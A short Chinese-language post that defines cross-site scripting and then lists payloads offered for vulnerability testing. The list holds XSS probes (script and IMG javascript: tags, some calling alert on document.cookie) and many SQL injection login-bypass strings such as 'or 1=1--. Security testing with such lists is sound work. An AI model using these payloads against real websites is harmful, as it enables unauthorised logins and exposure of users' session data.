XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
 
 
相关测试代码，可供漏洞验证：
 
><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert(’XSS’)</script>
<IMG SRC=”javascript:alert(’XSS’);”>
<IMG SRC=javascript:alert(’XSS’)>
<IMG SRC=JaVaScRiPt:alert(’XSS’)>
<IMG SRC=JaVaScRiPt:alert("XSS")>
admin’–
’or 0=0 –
“or 0=0 –
or 0=0 –
’or 0=0 #
“or 0=0 #
or 0=0 #
’or ’x’=’x
“or ”x”=”x
’) or (’x’=’x
’or 1=1–
“or 1=1–
or 1=1–
’or a=a–
“or ”a”=”a
’) or (’a’=’a
“) or (“a”=”a
hi” or ”a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ’a’=’a
hi’) or (’a’=’a
hi”) or (“a”=”a